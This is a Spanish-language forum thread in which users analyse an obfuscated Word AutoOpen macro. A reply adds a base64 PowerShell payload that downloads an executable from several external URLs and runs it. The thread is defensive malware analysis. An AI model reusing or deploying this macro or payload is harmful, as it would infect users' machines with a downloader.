Hola!
Encontré esta macro en un archivo de Word, ustedes que piensan? es un downloader? alguna otra información que les parezca útil? 

Código: Seleccionar todo

Function Ctqpivdiabw()
On Error Resume Next
  Dim Cvxrzgiqg As Integer
Tylaxlajkoj = Atn(Tmhipxjabelux)
Zjfvbmlba = 264
Xkaqqshz = 472
Dim Yzbjcpstagz As Double
Dim Kajonkhkhrmz As String
Lnsnxnta = CDbl("456f13be8b17d0488dcee90b9ae7fbfc72295e4def03e76478872c8b5b5753fd")
Dim Myxtizkc As Boolean
Pqhetpqdripj = "Cheese"
Dim Gfisblzkqfc As Boolean
Dim Nchgjbhkugn As String
Dim Wqjbocuimc As Integer
Dim Ansfzbcebdbj As String
Iwemzuzto = CLng("Ball")
Dim Pqzueazq As Integer
Npevekohtp = "fa:a5:dc:b0:24:a9"
Dim Jtyeacwshzjfj As Boolean
Kxcbtnwv = Hex("[email protected]")
Qvkkmutaqhgwz = 510
Twbogzlthejrn = 929
Yptreawmazdyz = "pwjswipwjspwjspwjspwjsnmgpwjspwjspwjsmtpwjspwjss:Wipwjspwjsn3pwjspwjs2_Prpwjsocpwjsesspwjs"
  Dim Bpxkfmlqqqow As Double
Bropjjwom = Rnd(Icgxgibvn)
Tgztutjc = 386
Zhhwvodfxn = 681
Dim Cxjetkinbzo As String
Dim Iqpocekvuiuza As Boolean
Yppgaedbjpzz = Tan("d8:14:44:a6:03:6f")
Dim Lzsjznynquisu As Boolean
Pftzopljhxt = "27aa973a8d7a03698b6c6ef3ca28d42a38a4a406772b75d55398340487ef4ad4"
Dim Gzdeqviibqb As String
Dim Kzvyijwmujgae As Double
Dim Qllfjjhq As Integer
Dim Byygnpsb As Boolean
Lojpjhclp = CBool("[email protected]")
Dim Mlisqfvom As Double
Euglxghuoz = "Keyboard"
Dim Obbvwbgvb As Boolean
Pnpnwkwmgbdkp = Round("Chips")
Kwdvifafuqpjz = 480
Hhjvqyhsl = 204
Cpsfhzrqyico = Tyzmdcoky(Tyzmdcoky(Wsheddwsvqr.Qdqboynrsx.Caption + Wsheddwsvqr.Bxfcynhcrgf.Caption + Wsheddwsvqr.Pimuaybjwzpt.Caption + Wsheddwsvqr.Ovgqlggdawco.Caption + Wsheddwsvqr.Tsjyojypa.Caption + Wsheddwsvqr.Dcqgtnvimy.Caption))
  Dim Rinbwfqsti As Boolean
Dkophcbfk = Log(Bgylydvozypvy)
Yuensoqwsrrq = 480
Qnyrjlvxtroxu = 766
Dim Oopdodhbx As Double
Dim Kjguhnjojl As Double
Pzxbbmyu = Int("3bf4ec4b7cd29ba6f76c3602cae0ae5c345c4f284b726738068125cdad74d319")
Dim Qdccmxwjl As Integer
Zamrzkbogd = "79:08:f0:59:60:d7"
Dim Kzercfpynrgtc As Boolean
Dim Blrzaqtqy As Boolean
Dim Ccxfmavgsc As Integer
Dim Tdvcwhuso As Double
Adodugqjf = CByte("2f5d87fdb5750353ae88267ea0aeb68d2238c4d4ec12d82d3350ddbb7637d025")
Dim Dmbhefyvzcte As Double
Enxiesuuwwcxx = "c93d0d7513955502eda707047705167dab6354c5b0fa3562618f6b549e68d24b"
Dim Bscaazibocout As Double
Hyqhpstb = Hex("c1:ca:ba:97:f1:d4")
Xjqefhixvxj = 598
Ywvmifpxb = 151
Iwwbkfdmhx = Wsheddwsvqr.Xuncqilmmg.Caption + Wsheddwsvqr.Jwecwunnfjqjc.Caption + Wsheddwsvqr.Khythotu.Caption + Wsheddwsvqr.Edugkabbgwowo.Caption + Wsheddwsvqr.Lqdoedzxgaf.Caption + Wsheddwsvqr.Bjqbjdsrsh.Caption + Wsheddwsvqr.Piwwmnsugw.Caption + Wsheddwsvqr.Gqwegofempz.Caption + Wsheddwsvqr.Mnlmwsjhf.Caption
  Dim Wfrqmlcp As Double
Vqrlpunrvxvo = Sgn(Hqovpugyv)
Yakllohoybrq = 973
Qvdgfgitlivwg = 582
Dim Oxujtrucgkjoa As Double
Dim Qaexzzdsq As Double
Epcqohhqke = CDate("ce:98:07:51:ba:04")
Dim Rgvswwvrh As Double
Rusiaylee = "85021df0d77e61a6e489b4e79d384ff1f4c3d47f34d45c2d26bcc243798396cd"
Dim Mfaqvbgkca As Double
Dim Nrdggvukcyik As String
Dim Yhrzzsahuqsga As Integer
Dim Xdfyberwsf As Boolean
Whnwpuzdzs = Log("Shoes")
Dim Bsfxnnzv As String
Evdmtrhlzuqid = "6f1578ac967691da65d434d08b4b35c70cfd18bd1f3bdde7b930e94121db4e83"
Dim Tdlbqlfae As Double
Yujefnjwcs = CInt("63-937-19-58")
Ahvosilt = 416
Qtknujozu = 730
Set Wgcpwehfzdg = uwsga2u3u2uu2u(Iwwbkfdmhx)
  Dim Lqqunczpyzxw As Integer
Hllmwivbgwfwb = Fix(Iqojpmievt)
Pokrbjmfbpjo = 888
Kktoqbwcqjjml = 296
Dim Hptmnfnveenoy As Boolean
Dim Gzdrbykhciyn As Double
Ioxcfuzq = Hex("a1:0a:2f:33:19:15")
Dim Sxopkcnyrycj As Boolean
Ibwiqeosquwp = "3bcd0a1c968dafa0927f2d624b056d61f1e2e6de1d6f44593970c2e54a849c5b"
Dim Srsqxkzejv As Double
Dim Vawyzzfd As Integer
Dim Xrzxezgus As Integer
Dim Bfzfllyudr As Double
Pjnwruwkmr = CDate("04:68:dc:9a:16:8f")
Dim Bragzxoccotv As Double
Nohiqmwfjoqd = "14:22:51:87:d7:51"
Dim Wkakrgdukrvfd As Double
Bpsaxhicd = CDbl("[email protected]")
Wwhmqwho = 934
Njdqpsdqnljy = 912
  Dim Xabxtsgwkbfti As Integer
Epwatugkfd = Log(Wkgolvjx)
Arqgnydcyspn = 202
Hypfqqwuop = 742
Dim Dmtyysclpe As String
Dim Gigcemmiht As String
Gehqxfdawb = Rnd("2c665d28d4e8557afd7b7a85a349ecd8e199590078bd3c37dc8f8af830b288a0")
Dim Jatwlrxcocyh As Integer
Pbdbfjehsulm = "65a3ce55c74feb1e0dc24df42054ee7fea6d2fae62216098fc1bb8b9651c917d"
Dim Bjqeootetq As Integer
Dim Wexdfzfdqbx As String
Dim Kmciylyeobelt As Integer
Dim Zlineqnajopl As String
Szmwidcrwu = CDate("00:4f:10:44:52:3d")
Dim Kidsslfkeeskq As Boolean
Mttjzsuvbsplp = "Bacon"
Dim Ooifffxqv As Integer
Vfohcfbgq = Round("02db2aed16c51db36ec7cee55b411f53b009ec9e87f5cb5041a58c0238566cc2")
Legqmbad = 866
Rvqebkbrpcy = 557
  Dim Uadkmphiyfirx As Integer
Wgfmnwweevb = Int(Jhlrdgprk)
Eugjskyoqxhrj = 312
Bywzplca = 809
Dim Tqnrhymdihs As Double
Dim Muwnwibqctb As Double
Vlnlbuhrytk = CSng("11:9c:9d:14:ca:1f")
Dim Zvnbqilljf As String
Frxaqxmnqdaqw = "Gloves"
Dim Ivnbmqojfcbds As Integer
Dim Lgunvcjqi As Boolean
Dim Isvuxekkdqvdg As Boolean
Dim Hrypttvkruvj As String
Yeffoivolexti = Cos("63-399-29-55")
Dim Pcofevssscf As Integer
Dabuaoflq = "954cf40bffe56628bbd422432c109cc3aec12fcd1ea1ece22649156710a23f12"
Dim Zvtgtrakgucs As Integer
Faglmdiuo = CLng("29-674-60-37")
Ddttjdzewg = 601
Lyacugmb = 787
Wgcpwehfzdg.ShowWindow = True And False
  Dim Ffzglefki As String
Bqgrdpslvrwzl = Atn(Xirpnubhyhr)
Mzqklehvg = 544
Pdkapjfo = 716
Dim Hwssjbzihjmb As String
Dim Valogfvrnnakj As String
Pbcunfcxscdh = CDate("ef337256eed3822584f159a1d7d30780f7a1120ea3441da086f61464416f5256")
Dim Lrntleoxrioap As Boolean
Rzrxqshjh = "44-820-50-13"
Dim Sctmcxhsbwmq As Double
Dim Drkufmptsacmj As Boolean
Dim Dhgwrlmdf As Integer
Dim Sxiieisamax As Double
Kfzktjqn = Sqr("Bike")
Dim Xoguhlrnfop As String
Kjvutjjfgsel = "1b:74:1c:53:5f:fb"
Dim Bkvpchkkuy As Double
Ovmsampnoa = Cos("[email protected]")
Xebhrvbivzp = 552
Znnizpwfhu = 681
  Dim Lxfffwoo As Double
Sxhhgbos = Tan(Lezppsbwkyuav)
Dhnhugzbpw = 858
Xniggtyqgy = 198
Dim Nvreuircyvc As Double
Dim Lvpmcjtv As Boolean
Ibrohxse = Int("25:f5:b4:12:62:ce")
Dim Xuyouhgerlbl As Integer
Vyidepwte = "04:c5:07:92:87:dc"
Dim Cdukfgrxcd As Double
Dim Brvcpdwbwnltj As Integer
Dim Zpvepferdmu As String
Dim Kolcebhmj As Double
Qirnosbar = CSng("85-936-65-52")
Dim Hgzbqwzrqurs As Double
Biohgcqdo = "[email protected]"
Dim Orclltvms As Integer
Dcllmsvmy = Hex("f0:20:6d:2c:7d:71")
Fnjmtkpb = 460
Ktbfwffavfya = 864
  Dim Rcuiirxjax As String
Zivboheix = Int(Upkpwrctai)
Erxrgatuaucy = 873
Txaganbtzt = 983
Dim Brxeswtn As Boolean
Dim Qqxhdwizmm As Integer
Yesuhrtlrd = Tan("b7:ee:39:d9:85:f3")
Dim Zcwvcgea As String
Hjitkfkahl = "[email protected]"
Dim Tsmxpbufrmw As Double
Dim Bzmxfhaqo As Double
Dim Lohoarwicj As String
Dim Jercgosu As String
Kifxcbebafv = CDate("[email protected]")
Dim Btgfapoqzs As Double
Soeubvdv = "71-313-14-90"
Dim Zicovebi As Double
Gsqizjsey = CByte("94-874-88-38")
Qiukmzgyjr = 936
Xuxclukoqpo = 822
Qhurggqbew = uwsga2u3u2uu2u2(Yptreawmazdyz, Cpsfhzrqyico, Wgcpwehfzdg)
  Dim Irpfwanixtvjb As String
Idqjnqfkch = CByte(Qsemxwrbs)
Jkfmdphe = 966
Weyoemichmx = 601
Dim Wqshymkyrbah As Double
Dim Ecvudasuo As Double
Tkiylvflsjwkh = Tan("16-019-64-16")
Dim Nqedyhfeealr As Double
Ybbmjfcbzffuv = "44-300-94-90"
Dim Hrnllmcqlhqnf As Integer
Dim Admnthuyydplr As Boolean
Dim Emzgwjyfikwlq As Integer
Dim Rwxbfcihmqnt As String
Vblrnceoy = Rnd("7c:7d:71:17:fe:2f")
Dim Bxddwwdsfmt As String
Tvwemqipjym = "Ball"
Dim Tdcpcxpmde As Integer
Ptjajucn = Sqr("Ball")
Sgzcizzszqtld = 976
Qkvzcprsaxw = 124
  Dim Denjimfkd As String
Coxwfmip = CDate(Lnexbjyxqmrc)
Hwxjiyfadeez = 627
Ncklzksqjl = 873
Dim Gmnamaje As String
Dim Pzgdoljatc As Boolean
Kncgdubrmlc = CInt("03ea3b54357d18c337ed6d18fbf674decde7977afcc801ffb3d747e215a8cfdf")
Dim Smdrdqhwdnkf As String
Hgiseescaxfxp = "7e:8e:09:3e:9f:44"
Dim Wdxakwygiqmrr As String
Dim Sahytketybapm As Double
Dim Faeygjnekz As Double
Dim Zbsnawaffqrjm As Double
Yykgmbwlln = CInt("[email protected]")
Dim Pfwwyllesgozt As Boolean
Gpiumoao = "a087ebfa365a5fb53cfe0ed170b5781709319eccc4992eb4ee7f05db370d0a2a"
Dim Twycqgah As Integer
Ajtsybnrsk = CStr("4e9bbac5032b53f85779127bc8d1dec12e534f8312fd216f888939916ef3ca71")
Abpvcsgkpq = 431
Foncbzorwbzxv = 69
End Function
Function uwsga2u3u2uu2u2(uwsga2u3u2uu2uA21, uwsga2u3u2uu2uA22, uwsga2u3u2uu2uA23)
On Error Resume Next
  Dim Xrpsvkiwv As Double
Eulgtcggow = Fix(Igjukdjhqhdhl)
Dggtbzwrwrzzi = 652
Vlxvgmmqytlnw = 748
Dim Duwgcaiczvm As Integer
Dim Dkdbatmskpq As Boolean
Phapmzufned = CDate("[email protected]")
Dim Wnjxzuxz As Boolean
Pknclysefwl = "b0:37:64:e2:36:71"
Dim Cjjmuhpf As Boolean
Dim Vxyimqvmsctlf As Double
Dim Jhuzxfslnhopi As String
Dim Xhokrfmpgojk As Integer
Gqelokzug = Oct("[email protected]")
Dim Dllbyanizelw As String
Swsoknvyd = "Computer"
Dim Jetssdblrot As Integer
Howbtduukew = Log("e1:98:50:5e:33:e9")
Gvpyehelp = 202
Pgbkkdrywfgw = 7
Set uwsga2u3u2uu2uA211 = uwsga2u3u2uu2u(uwsga2u3u2uu2uA21)
  Dim Fmrylwkxgjqdz As Double
Xjgxrywhxplgh = Oct(Yvruhmwm)
Mpeumjbmid = 699
Idyietizpdrg = 117
Dim Mfclbwuneirn As Double
Dim Jtydqgnov As Boolean
Cdluiyyjr = CLng("853d6f577ad61801d42af2aec541e02c3201adc68bf463731cc038e5b500b496")
Dim Kwcmyvypqrjcp As Boolean
Npehxjedy = "Shoes"
Dim Swktdsinj As Integer
Dim Ehrqghqt As Integer
Dim Ydkiekzmfsdtp As Boolean
Dim Exnqtcmd As Integer
Xqhdwnfrmu = Rnd("12f7f6f7b232588e0f1428b3a55dca329d407b26c875b25d72a571587cc902b1")
Dim Kzijadiy As Boolean
Oobkdchtlaxx = "[email protected]"
Dim Riifxcdijemo As Double
Biuoafbtcm = Sin("[email protected]")
Ksiscmrn = 218
Vdaiofexxpux = 355
uwsga2u3u2uu2u2 = uwsga2u3u2uu2uA211.Create(uwsga2u3u2uu2uA22, Aemrwqmxtdl, uwsga2u3u2uu2uA23, Jfgjlnudfembc)
  Dim Mpbiqcgi As Integer
Yyjexkjrgsl = CByte(Joombfkaen)
Ihtqyfwsdfjac = 854
Owdppscrucp = 400
Dim Hptlefpd As Integer
Dim Impbjefn As Integer
Qvdbypgf = Sgn("67-035-49-53")
Dim Niasknlyvxlly As String
Czqsnppfenll = "9feb78c9bf95ac66a9dafb58c9a813498c21052f6eb635ed9eee2d5da5edd378"
Dim Oyknrozmwrv As Double
Dim Rmpewigvq As Boolean
Dim Cjxdwfybtl As Integer
Dim Byhhvqczxvhxs As Double
Odlryixlh = Tan("[email protected]")
Dim Prstywknogpbk As Boolean
Qphbakhxjyi = "46-238-20-09"
Dim Qdnzqaalg As Boolean
Lmebbzbalkrhd = Int("[email protected]")
Kitjvqccxkt = 879
Kfckmkpngf = 291
End Function
Function uwsga2u3u2uu2u(uwsga2u3u2uu2uA)
On Error Resume Next
  Dim Jzgoixsrsqf As Boolean
Snlzppuhqypl = CLng(Awjpzkbuxez)
Rfxodrct = 959
Sjdvgsbqdq = 130
Dim Uiafbsxqhzdo As Double
Dim Tjlupvin As String
Wpvcwnwvs = Cos("557b647a752363b390258a84a4da072f55248166dbd1b0ad32daa9abd2126caf")
Dim Poypkwbcsg As Double
Eyrejbnkgquj = "[email protected]"
Dim Vttdiweqevnef As Integer
Dim Lzahxrdei As String
Dim Fpeyuoemaiio As Double
Dim Nnuwrfwoevrt As Double
Gsolpoqpmfa = Sin("7a79c7cc7899f7ea75ca77504f01ed829dc750e1de597865b4bd168f475c7be9")
Dim Syxckcpj As Boolean
Iriwrljha = "0702a6467ad91b8c8a692b134c3eb1a2fc9074b405678fe8e83c55755ddd36a5"
Dim Ghtxzibybov As Double
Epgsgrlfc = Sgn("Chair")
Thszddyal = 712
Qefltnkctm = 69
Set uwsga2u3u2uu2u = CreateObject(Tyzmdcoky(Tyzmdcoky(uwsga2u3u2uu2uA)))
  Dim Uleumcdv As Double
Wjrefjblxrgl = Oct(Ukmtomxsrfrs)
Vqgsqjzbba = 987
Ktmuuielab = 144
Dim Hnwesmmmyr As Boolean
Dim Louytsimz As Boolean
Dfwkjozj = CStr("Chicken")
Dim Wldmvjpn As Integer
Tdfigngrit = "Soap"
Dim Dlsyvbcyyi As Double
Dim Pcrlxjsyt As Double
Dim Azodwiiaaw As Double
Dim Rtxnokhmk As Integer
Sdvutyafrmcsy = Hex("Pants")
Dim Gqqhxldvzrave As Integer
Eyubvzanpc = "[email protected]"
Dim Uvpbygqerwd As String
Oiwdscvrghe = CDbl("[email protected]")
Lygdbfxujakqc = 941
Jtiukogrdkw = 553
End Function
Sub autoopen()
On Error Resume Next
  Dim Mdvkwxtxgsx As Double
Kdkqkvegaqpfx = Log(Luvcnafnpkzt)
Prxmbdqafwqi = 563
Mgfydbllxv = 205
Dim Epugkcfmkzrtv As Double
Dim Lozlesta As Double
Apyidtczd = CStr("67-396-91-88")
Dim Fylodvbm As String
Dnzaxyjhfk = "d4:9e:49:44:a6:a3"
Dim Bkmhdgfptr As Boolean
Dim Fqnxbxsn As Double
Dim Xcyigvsryolu As Boolean
Dim Cvsuhasl As Double
Uhkmfirbrinji = Atn("Shirt")
Dim Kwbtcoltmufex As Integer
Alfznzkglqwj = "d1ab16d58663ec3db0b38f87772df0eeae2fe133cf548ff19c93e6ed82394f67"
Dim Nsnxvwdqstk As Boolean
Xradtvxibej = Fix("56-550-62-96")
Zppcfejfycshc = 213
Ktlpemnolnc = 485
  Dim Ujykyczx As Double
Fshreeabpmd = CStr(Iubxmncetsbb)
Xmkxcubqqfj = 531
Ixpczioqpxenk = 833
Dim Lafqeqdoeo As Double
Dim Trevnyntgepb As Integer
Yhpfksgtep = CByte("83-545-52-95")
Dim Jjfiknyqvykb As Double
Wubhldwssvz = "[email protected]"
Dim Ilampvtpe As Integer
Dim Ubdcqzxoovvlr As Boolean
Dim Wwqrjjlj As String
Dim Umvgxasfd As Integer
Aucsykkjnz = CDate("68-929-24-78")
Dim Kywynfoisnx As Double
Bhqvcgnkuwc = "[email protected]"
Dim Kybzcflxkhabf As Boolean
Ernwgfwdtok = Log("Cheese")
Dqcukouphslrk = 297
Aptxfygdjfit = 432
Ctqpivdiabw
  Dim Mgmnpqybvrpfd As String
Jqnlbtnpybm = CBool(Ljyymska)
Zfaeazttw = 888
Ydfvlfyrnlde = 385
Dim Msqtlqpjmnf As String
Dim Nqfipujmftd As Integer
Ljltwbdnng = CInt("Chair")
Dim Kbcorrpl As String
Bidnjodhzn = "[email protected]"
Dim Egysrexbzjche As Boolean
Dim Ynbnpvzhc As Integer
Dim Rokggpilx As Integer
Dim Zalnpmrgvjr As Integer
Tyzceeyvd = Hex("Chips")
Dim Iqsdnztvki As Boolean
Cbgnqwtz = "Shirt"
Dim Fmipfgsyu As Boolean
Yfytoswpwxw = CSng("[email protected]")
Xaxrhyjkmckfu = 152
Ncmnsjdwhucd = 355
  Dim Vlssyucdljn As Integer
Kpfwnjgqzvfjr = CDate(Oovrunqqi)
Pkmyebmvf = 454
Ooaqawpm = 424
Dim Mvpwovqjt As Boolean
Dim Hhuwdarexwdcm As String
Remuavgzd = Fix("33-612-61-08")
Dim Bqfvmleeghgtx As Double
Hkjiscxiemwzy = "8515c3b3aafb7e299f57393a03728a16df70d19a33b668c687acd89f1658c9bf"
Dim Iqifyayc As Integer
Dim Yityllpybovp As Integer
Dim Vehbjplgdfzp As Boolean
Dim Xxjizruudjt As Integer
Bxnfswmkt = Rnd("88e861c85a30dd477090058458f6b0ea7bdda3f7a26358141e1bfaf3f93e26c5")
Dim Sufsfnzvaybde As Double
Cbabyiijkiq = "[email protected]"
Dim Txgdelpfl As Double
Qjxaiatirct = Round("Table")
Supkkujpns = 572
Rxytxkqy = 412
End Sub
Function Tyzmdcoky(Keeyqhrn)
On Error Resume Next
  Dim Hotadaoqcfsxh As String
Retftjvwc = Round(Maniuqlexdi)
Ydhanpyj = 399
Jzjctpmsqln = 358
Dim Dtkbldkbjtq As Integer
Dim Bvjnqgnmdjl As String
Olkrzplpegdn = CDbl("82-201-38-93")
Dim Nlafsvdoq As Boolean
Ugabzkyo = "f2:ca:6e:aa:4d:d6"
Dim Zqrtavzwofa As Integer
Dim Zbcdsspa As Integer
Dim Nfikoeve As Double
Dim Souilrzercdd As String
Azxgfvdne = CInt("94-278-76-80")
Dim Orllssab As Integer
Kgtsatkjs = "12-032-30-47"
Dim Pcjohpzdre As Double
Exaoszjcb = Atn("Chair")
Ptdoecsdmptzp = 879
Kdbxrdbaouafs = 332
  Dim Lxneexzwgy As String
Ztuprsuj = Sgn(Prnbpzbw)
Usckdavkvat = 694
Dvnieqfxcxiiw = 65
Dim Hzukdlhg As String
Dim Lrxkoljgtj As String
Rxfqtsvu = Hex("91-360-86-83")
Dim Iscvgjfmv As String
Yszhnolybchwf = "[email protected]"
Dim Enspkwheiehsf As Integer
Dim Hosgsefi As String
Dim Jvafawxn As String
Dim Sufdzqord As String
Gybutezqsyfm = CStr("[email protected]")
Dim Bhzhikfw As String
Niogbqofa = "[email protected]"
Dim Wzlhrxxp As Boolean
Hucxjojuuqk = Sin("[email protected]")
Glpsockamcxe = 196
Aqmihqvfolj = 393
Vjvvsbjh = Keeyqhrn
  Dim Zwtgzjkiapd As String
Eqlnheluq = CBool(Qjqqxchpu)
Bcfmgmgg = 134
Ilazouand = 772
Dim Okqqstkxin As Boolean
Dim Eoihvyynjxdh As Double
Qjhgcrrqnrp = Round("de:dd:27:c9:7a:5c")
Dim Twibqlswlfm As Integer
Ehzqhircdbq = "65-716-94-64"
Dim Fbnbqrzkfr As Boolean
Dim Mvftfdvbnmjrw As Double
Dim Ekpusaffr As Integer
Dim Ougezpxuvm As Double
Yyuaxtrveg = Rnd("Mouse")
Dim Zpxjvgqokvoa As String
Ntucpusbrw = "46-558-23-79"
Dim Hmanfijlfjsoy As Boolean
Xzcjufofxbcrq = CSng("95-259-03-55")
Yblvyeowpfrjd = 737
Fdayvbom = 242
  Dim Nhltygluwighe As Boolean
Fvipvwmtiizb = CByte(Iatubuwvwft)
Orvmwmasv = 197
Kzboclzfygoin = 572
Dim Cwjzcvfo As Integer
Dim Nvcolwmh As Double
Bshtlforbz = CDbl("14-253-75-69")
Dim Ztjdiwqde As Integer
Nopxqmkc = "1733ee4be65a6dd22e28e68690d3106ef9cc28010d1a0e23663d511bed9d00ae"
Dim Bbjpqnxgnnys As Double
Dim Ieinprqfqouf As Integer
Dim Yerxhpxsa As Integer
Dim Iswrxfvitple As Integer
Kcwluulspii = CStr("Chips")
Dim Kqxqetvg As String
Otjzwbsmzujx = "48-680-09-68"
Dim Gfugqdni As Boolean
Krwyhlag = Log("15-502-83-69")
Hslvoqwwib = 215
Evjzzopvffs = 205
  Dim Acpvhnoqgxv As String
Bibigrinakpba = Cos(Gfktqtlrkwhzd)
Gdmtxmkqo = 473
Caszugur = 430
Dim Mccfpqql As Double
Dim Ftrelogvlwow As Boolean
Rlzkcafmjh = CByte("[email protected]")
Dim Joivtepu As String
Innfazfnm = "e0:81:13:e0:56:e8"
Dim Podrgjxmsjkk As Double
Dim Rnpcjgmoi As Double
Dim Wwaggwudfu As Double
Dim Envrifyxd As Integer
Imqlcjja = Oct("Keyboard")
Dim Fjnxgmnq As String
Kriloopdj = "Car"
Dim Itvrtplrt As Boolean
Ueydiuctlhwx = CByte("f9:38:32:af:99:3c")
Dfwoufrvuxq = 256
Mwcynjqxd = 808
Tyzmdcoky = Lcbqtlxbbp + Replace(Vjvvsbjh, "pwjs", "")
  Dim Vmvvmvginr As Boolean
Ihghkjzgtjzm = Hex(Wgudmzrhudi)
Kjjqeiuruhjj = 965
Nrlmipyyz = 941
Dim Esbbmczwro As Double
Dim Tvelwczkus As Double
Qiqzyslk = CDate("34-134-59-25")
Dim Zqsqifjnc As Boolean
Hrqeecwadpm = "11:6d:04:7a:eb:f6"
Dim Ldlzyzdmonwns As Integer
Dim Ubhpymirzvtp As String
Dim Sqnpueetko As Double
Dim Fseuqmwcgbi As Integer
Lcmldejn = Fix("64f17dc5f3abb08c13c7986338446addf3ab313b6f22cd43045db75ddcde88e5")
Dim Wjxxbparslihq As Integer
Fhtmdqipo = "42-775-38-59"
Dim Rhgkucdv As String
Sovnfkqlse = Hex("[email protected]")
Gxwpbxgotjoyx = 200
Hqgeuftnsx = 693
  Dim Mffclhddlyitq As Boolean
Lanzqgwadejqc = CDbl(Vfsrjynpccruc)
Hwrouldtwqqec = 856
Rblncdbz = 676
Dim Xlkxzltrgxmyn As Boolean
Dim Slvbtulqak As Boolean
Ohtgxlpwas = CBool("29-433-02-13")
Dim Ewnwaptnnbkrf As Integer
Flukmjcfjmq = "13-158-78-42"
Dim Ybmzqxwwgp As Double
Dim Qcwnwcazyk As Integer
Dim Iiocrdjjz As Boolean
Dim Lplbhbqyvez As String
Gsnjqqooq = Sin("42-190-88-00")
Dim Hjufdggkkok As Double
Btxhlpbimi = "[email protected]"
Dim Pztjszuiutyhl As Boolean
Xplsvucixtg = Rnd("b6:76:bb:7e:9f:4f")
Ejubygog = 969
Roqpqhup = 147
End Function
Gracias
Saludos!
Hola!!! Definitivamente lo es, por varias razones, aquí empece a renombrar algunas entradas para hacerlo mas claro es (VBScript) por los string; Dim , los demas caracteres como "BLA1,2,3" los comente yo para aclarar la vista. Dì con la sandbox en donde estaba subido este sample, esto fue buscando por el hash que se observa ; Lnsnxnta = CDbl("456f13be8b17d0488dcee90b9ae7fbfc72295e4def03e76478872c8b5b5753fd") HASH256: [Enlace externo eliminado para invitados]  
Function funcion1()
On Error Resume Next
  Dim BLA1 As Integer
BLA2 = Atn(BLA3)
BLA4 = 264
BLA5 = 472
Dim BLA6 As Double
Dim BLA7 As String
Lnsnxnta = CDbl("456f13be8b17d0488dcee90b9ae7fbfc72295e4def03e76478872c8b5b5753fd") HASH256: https://www.hybrid-analysis.com/sample/633fcbf1ca83073c086e3e5c40e10038d2c1e284dc13c2cef188477c5734cd19?environmentId=100 
Dim BLA8 As Boolean
BLA9 = "Cheese"
Dim BLA10 As Boolean
Dim BLA11 As String
Dim BLA12 As Integer
Dim BLA13 As String
BLA14 = CLng("Ball")
Dim BLA15 As Integer
DIRECCION-FISICA = "fa:a5:dc:b0:24:a9"
Dim BLA16 As Boolean
E-MAIL = Hex("[email protected]")
Se ven lineas de WORD y POWERSHELL ({[Diagnostics.Process] and 'n'+'e'+'w-obje'+'ct') en la sandbox; tambien un base64 que contiene algunas URLS;

base64 encode
PAAjACAATQBpAHAAYQBtAGkAZwBtAHoAbQAgAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAG0AaQBjAHIAbwBzAG8AZgB0AC4AYwBvAG0ALwBHAGsAeAB4AHIAYQBpAGQAIAAjAD4AIAAkAEIAagBuAHgAeQBpAGIAbQBnAHgAYgBuAHkAPQAnAEMAcgB5AGsAeQB2AHQAbQBsACcAOwAkAFAAbAB6AGMAeQB2AHEAdQB1ACAAPQAgACcANwAyADAAJwA7ACQAWAB6AHUAbABwAHQAbwBoAD0AJwBPAGoAeQBsAG0AZwBnAHoAdABsAGsAJwA7ACQATAB2AHUAZABlAGgAcQBsAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABQAGwAegBjAHkAdgBxAHUAdQArACcALgBlAHgAZQAnADsAJABJAGoAcwB1AGMAaAB4AGIAZQBnAGcAPQAnAEwAbABsAHQAawBmAHoAcABjAHAAbQAnADsAJABSAG4AawB6AGsAbQBxAGYAcQBwAGEAagBrAD0ALgAoACcAbgAnACsAJwBlACcAKwAnAHcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAEUAVAAuAFcARQBiAEMATABJAEUATgBUADsAJABDAG4AdgB1AGcAdgB0AHMAdQBlAD0AJwBoAHQAdABwAHMAOgAvAC8AcwB0AG8AcgBlAC4AYQBjAGEALQBhAHAAYQBjAC4AYwBvAG0ALwBwAGgAcABtAHkAYQBkAG0AaQBuAC8ASABEAHIAdwAvACoAaAB0AHQAcABzADoALwAvAGwAZQB2AGUAbAA3ADUANwAuAGMAbwBtAC8AcAByAG8AagBlAGMAdABzAC8AeQBvAC8AKgBoAHQAdABwADoALwAvAG0AYQBuAHYAZABvAGMAcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ASgBIAC8AKgBoAHQAdABwADoALwAvAGQAZQB2AC4AdABlAHIAcgBlAGQAZQBzAGkAZQBuAG4AZQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHYANwBhAHEAawB5AC8AKgBoAHQAdABwAHMAOgAvAC8AdABlAHMAdAAuAGIAYQByAGEAbgBrAGEAcgBhAGIAbwBnAGEALgBjAG8AbQAvAHQAZQBtAGEALwBnAGYARABUAC8AJwAuACIAUwBgAHAATABJAHQAIgAoACcAKgAnACkAOwAkAE4AZgBtAHoAaAByAGUAawBtAGIAPQAnAE0AegBpAGwAagBkAHIAaAB6AHUAdgBuAGEAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEUAdABoAHoAegB3AGIAZwB3AGMAYgByACAAaQBuACAAJABDAG4AdgB1AGcAdgB0AHMAdQBlACkAewB0AHIAeQB7ACQAUgBuAGsAegBrAG0AcQBmAHEAcABhAGoAawAuACIARABgAE8AVwBOAEwAYABvAEEAYABEAEYAaQBMAGUAIgAoACQARQB0AGgAegB6AHcAYgBnAHcAYwBiAHIALAAgACQATAB2AHUAZABlAGgAcQBsACkAOwAkAFQAegBmAHUAZwBnAHQAdAA9ACcARgB5AHAAegBjAHoAagBwAHQAeQBmACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJAHQAZQAnACsAJwBtACcAKQAgACQATAB2AHUAZABlAGgAcQBsACkALgAiAGwARQBuAGAAZwB0AEgAIgAgAC0AZwBlACAAMwAzADAAMwAyACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAVABBAGAAUgB0ACIAKAAkAEwAdgB1AGQAZQBoAHEAbAApADsAJABNAHYAZwBqAHMAagB6AHoAZwBtAGwAbAA9ACcAUQB0AHMAZgBwAHYAZQBlAGIAJwA7AGIAcgBlAGEAawA7ACQAVgBsAHkAZwBiAHkAYwB2AG0AaQBsAGEAawA9ACcAUQBnAHIAYwBvAHIAdABjAHoAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWgBiAGgA